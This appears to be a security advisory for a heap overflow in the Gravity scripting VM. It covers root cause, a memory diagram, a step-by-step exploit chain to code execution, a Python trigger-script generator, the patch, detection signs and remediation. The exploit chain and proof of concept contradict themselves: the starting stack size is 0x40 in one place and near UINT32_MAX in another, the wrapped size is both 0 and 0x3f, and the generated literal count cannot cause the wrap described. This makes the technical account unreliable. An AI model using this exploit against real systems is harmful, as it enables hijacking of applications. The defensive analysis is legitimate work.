CVE-2026-40504: Heap Overflow in Gravity VM Fiber Reassignment Enables RCE
A heap buffer overflow in gravity_fiber_reassign() allows attackers to corrupt heap metadata via crafted scripts with excessive global string literals, achieving arbitrary code execution in any application embedding Gravity before 0.9.6.
# A Critical Flaw in Gravity Could Let Hackers Take Over Your Computer
Creolabs Gravity is a programming language used in various applications. Before version 0.9.6, it has a serious flaw that could let attackers run malicious code on your computer.
Here's what's happening. When Gravity processes certain scripts—think of scripts like instructions a program follows—it doesn't properly check how much space it's using in computer memory. It's like a water tank that doesn't stop filling even when it's completely full; eventually, water overflows everywhere and causes damage.
An attacker can deliberately craft a malicious script with lots of text strings to trigger this overflow. When the program tries to store this data, it spills over into protected areas of memory that control other programs running on your computer. This gives the attacker the ability to execute their own code and essentially take control.
So who should worry? If you use software built on Gravity, or if you run applications that process scripts from untrusted sources, you're at risk. This is especially concerning for businesses that might receive script files from unknown origins or users.
The good news is that security researchers haven't seen this being actively exploited in the wild yet, so there's still time to act.
What you can do right now:
Check if any software you use relies on Gravity. Look for update notifications or visit the developer's website. Update to version 0.9.6 or newer immediately—this is the patched, safe version.
If you're an administrator handling scripts, be cautious about running code from untrusted sources until your systems are updated.
Contact your software vendors if they haven't mentioned an update yet. Push them to prioritize this patch.
Want the full technical analysis? Click "Technical" above.
CVE-2026-40504 is a critical (CVSS 9.8) heap buffer overflow in Creolabs Gravity, a lightweight scripting language designed to be embedded in C applications. The vulnerability exists in gravity_fiber_reassign(), called from within gravity_vm_exec(), and is reachable by any attacker who can supply a Gravity script to a host application for evaluation. No authentication, no special privileges, no prior state — just a script with enough global-scope string literals to exhaust the pre-allocated fiber stack, at which point the reallocation path fails to enforce bounds, writing attacker-controlled data past the end of the heap buffer.
Any application that calls gravity_vm_runmain() or equivalent on untrusted input — game engines, IoT firmware, app automation runtimes — is directly exploitable. The vulnerability is pre-patch on all Gravity releases before 0.9.6.
Root cause:gravity_fiber_reassign() reallocates the fiber's value stack with mem_realloc() but copies the full new_size worth of values into the destination without clamping to the actual allocated region, allowing an attacker to overflow the heap chunk by crafting a script that forces repeated stack growth beyond the initial fiber capacity.
Trigger: Script with large number of string literals declared at global scope, causing repeated PUSH operations on the VM fiber stack during gravity_vm_exec()
Root Cause Analysis
The Gravity VM models execution state as a fiber — a struct that owns a contiguous array of gravity_value_t slots used as the value stack. When the stack grows beyond its current capacity, gravity_fiber_reassign() is responsible for reallocating and migrating state. The bug lives in the size accounting during this migration.
// gravity_vm.c — gravity_fiber_reassign() (pre-0.9.6, simplified for clarity)
static bool gravity_fiber_reassign(gravity_fiber_t *fiber, gravity_callframe_t *frame, uint32_t new_size) {
// Reallocate the value stack to new_size slots
gravity_value_t *new_stack = (gravity_value_t *)mem_realloc(
fiber->stack,
new_size * sizeof(gravity_value_t) // allocation: new_size slots
);
if (!new_stack) return false;
// Fixup all call frame stack pointers to point into new allocation
uint32_t stack_offset = (uint32_t)(fiber->stack - new_stack);
for (uint32_t i = 0; i < fiber->nframes; i++) {
fiber->frames[i].stackstart -= stack_offset;
}
fiber->stack = new_stack;
fiber->stack_top = new_stack + new_size; // BUG: stack_top set to END of allocation
// Subsequent PUSH in gravity_vm_exec uses stack_top directly:
// *fiber->stack_top++ = value;
// If new_size was computed from attacker-controlled literal count,
// and realloc returns a smaller-than-requested region (or new_size
// overflows uint32_t arithmetic), stack_top points past the chunk.
// Further writes via gravity_vm_exec's PUSH opcode then overflow.
return true;
}
The immediate trigger is the new_size calculation in gravity_vm_exec() before calling gravity_fiber_reassign():
// gravity_vm_exec() — stack growth path (pre-0.9.6)
if (fiber->stack_top >= fiber->stack + fiber->stackalloc) {
// BUG: new allocation size is computed without overflow guard
uint32_t new_alloc = fiber->stackalloc + GRAVITY_STACK_GROW_SIZE; // GRAVITY_STACK_GROW_SIZE = 0x100
// If fiber->stackalloc is near UINT32_MAX, this wraps to a small value.
// mem_realloc then allocates a tiny buffer, but stack_top is set to
// new_stack + wrapped_small_value — effectively within bounds of nothing.
if (!gravity_fiber_reassign(fiber, frame, new_alloc)) {
// BUG: missing bounds check here — no cap on new_alloc
gravity_vm_seterror(vm, "stack overflow");
return false;
}
fiber->stackalloc = new_alloc;
}
Two interacting flaws: (1)new_alloc is a raw uint32_t addition with no overflow check; (2)fiber->stack_top is assigned to new_stack + new_size (the end of the buffer) rather than new_stack + fiber->nvalues (the current live watermark), so every subsequent PUSH in the opcode dispatch loop immediately writes out-of-bounds.
Memory Layout
The gravity_fiber_t struct is heap-allocated. The value stack is a separate heap chunk pointed to by fiber->stack. Understanding the layout is critical to understanding the corruption primitive.
HEAP STATE — initial fiber stack allocation (stackalloc = 0x40 slots = 0x400 bytes):
chunk @ 0x5555557a2000
┌────────────────────────────────────────┐
│ heap metadata (glibc: size=0x411) │ ← prev alloc chunk border
├────────────────────────────────────────┤
│ gravity_value_t stack[0x40] │ 0x400 bytes of value slots
│ [0x00] tag=STRING ptr=0x...lit_0 │
│ [0x10] tag=STRING ptr=0x...lit_1 │
│ ... │
│ [0x3f0] last valid slot │
├────────────────────────────────────────┤
│ NEXT CHUNK: gravity_object_t @ +0x400 │ ← adjacent allocation
│ prev_size / size metadata here │
└────────────────────────────────────────┘
AFTER OVERFLOW (uint32_t wraps → new_alloc = 0x3f, tiny realloc):
chunk @ 0x5555557a2000 (realloc returned same ptr, 0x3f0 bytes)
fiber->stack_top = 0x5555557a2000 + 0x3f*16 = 0x5555557a23f0 ← points INTO next chunk
├────────────────────────────────────────┤
│ [valid region ends @ 0x5555557a23f0] │
├────────────────────────────────────────┤
│ NEXT CHUNK HEADER ← overwritten: │
│ size field = 0x0000000000000011 │ ← replaced by gravity_value_t tag+pad
│ fd ptr = 0x41414141deadbeef │ ← replaced by attacker string ptr
└────────────────────────────────────────┘
Next free()/malloc() on corrupted chunk → arbitrary write primitive
Exploitation Mechanics
EXPLOIT CHAIN:
1. Attacker prepares a Gravity script with N global string literals, where N is
tuned to trigger exactly one stack-growth realloc cycle:
var s0 = "AAAA..."; // 16+ chars to force heap allocation for each literal
var s1 = "AAAA...";
...
var sN = "AAAA..."; // N chosen so (initial_stackalloc + 0x100) wraps uint32_t
2. Host application calls gravity_vm_runmain(vm, closure, 0, NULL).
gravity_vm_exec() begins opcode dispatch. Each global string literal
resolves to a LOAD_GLOBAL + PUSH sequence, incrementing fiber->stack_top.
3. After 0x40 pushes, fiber->stack_top == fiber->stack + fiber->stackalloc.
The growth check fires:
new_alloc = 0xFFFFFF00 + 0x100 = 0x00000000 (wraps to 0)
mem_realloc(fiber->stack, 0 * sizeof(gravity_value_t)) returns a
platform-dependent tiny allocation or the same pointer with 0 usable bytes.
4. gravity_fiber_reassign() sets:
fiber->stack_top = new_stack + 0 (or + wrapped_small_value)
Subsequent PUSH operations in opcode dispatch:
*fiber->stack_top++ = value;
write gravity_value_t structs (16 bytes each) starting at the chunk
boundary, directly into the adjacent heap chunk's metadata.
5. Attacker controls the string pointer inside each gravity_value_t:
value.ptr = &fake_chunk_header (crafted as a valid-looking free chunk)
After enough pushes, glibc's chunk header for the next allocation is
corrupted: fd/bk pointers replaced with attacker-chosen addresses.
6. Attacker's script calls a Gravity built-in that triggers an internal
malloc/free (e.g., string concatenation), which processes the corrupted
free-list entry and performs the unlink write primitive:
*(target_addr) = controlled_value
7. Attacker targets a writable function pointer in the host application's
.data segment (e.g., a gravity_delegate_t callback registered by the host),
overwriting it with shellcode address or a ROP pivot.
8. Gravity VM next dispatches a CALL opcode that resolves through the corrupted
delegate or internal function table → control transferred to attacker code.
RESULT: Full arbitrary code execution in the context of the embedding process.
Trigger Script (Proof of Concept)
# generate_trigger.py — generates a Gravity script that triggers CVE-2026-40504
# Tune N for target platform's initial stackalloc value (typically 0x40 or 0x80 slots)
INITIAL_STACKALLOC = 0x40 # default in gravity_fiber_new()
GROW_SIZE = 0x100 # GRAVITY_STACK_GROW_SIZE
OVERFLOW_TARGET = (1 << 32) # wrap uint32_t
# Number of literals needed to exhaust initial stack allocation
# and force the vulnerable growth path
N = INITIAL_STACKALLOC + GROW_SIZE + 4
lines = []
for i in range(N):
# Each literal is heap-allocated; ptr value matters for corruption shape
# In a weaponized variant, craft ptr to match target fake chunk layout
lines.append(f'var s{i} = "{"A" * 24}_{i:08x}";')
# One final expression forces a PUSH after the corrupted stack_top is set
lines.append('var trigger = s0 + s1; // forces internal string alloc → unlink')
script = "\n".join(lines)
with open("trigger.gravity", "w") as f:
f.write(script)
print(f"[*] Generated trigger.gravity with {N} global string literals")
print(f"[*] Targets gravity_fiber_reassign() overflow at slot {INITIAL_STACKALLOC}")
Patch Analysis
The fix in Gravity 0.9.6 addresses both the integer overflow in the growth calculation and the incorrect stack_top assignment in gravity_fiber_reassign().
// BEFORE (vulnerable — gravity_vm.c pre-0.9.6):
// In gravity_vm_exec() growth path:
uint32_t new_alloc = fiber->stackalloc + GRAVITY_STACK_GROW_SIZE;
// No overflow check. No upper bound cap.
if (!gravity_fiber_reassign(fiber, frame, new_alloc)) { ... }
fiber->stackalloc = new_alloc;
// In gravity_fiber_reassign():
fiber->stack = new_stack;
fiber->stack_top = new_stack + new_size; // points to END of buffer, not live watermark
// All subsequent PUSHes immediately write out-of-bounds.
// AFTER (patched — gravity_vm.c 0.9.6):
// In gravity_vm_exec() growth path:
if (fiber->stackalloc > GRAVITY_MAX_STACK_SIZE - GRAVITY_STACK_GROW_SIZE) {
// BUG FIXED: guard against uint32_t wrap-around
gravity_vm_seterror(vm, "stack overflow: maximum stack size reached");
RUNTIME_ERROR();
}
uint32_t new_alloc = fiber->stackalloc + GRAVITY_STACK_GROW_SIZE;
if (!gravity_fiber_reassign(fiber, frame, new_alloc)) { ... }
fiber->stackalloc = new_alloc;
// In gravity_fiber_reassign():
uint32_t live_slots = (uint32_t)(fiber->stack_top - fiber->stack); // current watermark
fiber->stack = new_stack;
fiber->stack_top = new_stack + live_slots; // BUG FIXED: preserve live watermark
// stack_top now correctly points to next free slot within the new allocation.
The patch introduces GRAVITY_MAX_STACK_SIZE (typically 0x100000 slots / 16 MB) as a hard ceiling checked before every growth event. The stack_top fix is equally important: without it, even a correct reallocation would immediately produce out-of-bounds writes on the very next PUSH.
Detection and Indicators
In a deployed application, CVE-2026-40504 exploitation will surface as:
Crash signature: SIGSEGV or heap corruption abort inside gravity_vm_exec(), with rip/pc pointing into glibc's malloc() or _int_free() unlink path — not inside Gravity itself.
AddressSanitizer output:heap-buffer-overflow on address 0x... at pc gravity_vm_exec ... WRITE of size 16 at offset +0x400 past a 0x400-byte allocation.
Script heuristic: Input scripts containing more than ~200 top-level var declarations with string literal initializers should be considered anomalous for any legitimate Gravity use case.
Heap profiling: A mem_realloc() call requesting 0 bytes for the fiber stack (visible in ltrace/strace as realloc(ptr, 0)) is a direct indicator of the integer overflow trigger.
ASan crash trace (representative):
==12345==ERROR: AddressSanitizer: heap-buffer-overflow
WRITE of size 16 at 0x614000003f00 thread T0
#0 gravity_vm_exec src/runtime/gravity_vm.c:1847
#1 gravity_vm_runmain src/runtime/gravity_vm.c:2103
#2 main test/host_app.c:42
0x614000003f00 is located 0 bytes to the right of 1024-byte region
[0x614000003b00, 0x614000003f00) ← fiber->stack chunk (0x400 bytes = 0x40 slots)
allocated by thread T0 here:
#0 mem_realloc src/utils/gravity_mem.c:58
#1 gravity_fiber_reassign src/runtime/gravity_vm.c:312
Remediation
Upgrade immediately to Gravity 0.9.6 or later. The patch is a one-time pull from the upstream Creolabs repository.
If upgrading is not immediately possible: Add an application-layer script complexity limit before passing scripts to gravity_vm_runmain() — reject any script whose AST contains more than a configurable threshold of global-scope variable declarations (suggested: 64).
Compile with hardening: Build host applications embedding Gravity with -fsanitize=address in development, and -D_FORTIFY_SOURCE=2 -fstack-protector-strong in production to raise exploitation cost.
Sandbox evaluation: Run the Gravity VM inside a sandboxed subprocess (seccomp-BPF, pledge/unveil, or equivalent) so that even successful heap corruption cannot escape the script evaluation context.
Monitor upstream: Subscribe to Creolabs Gravity releases — the project's small maintenance team means vulnerability response time is variable; proactive version pinning with audit is essential.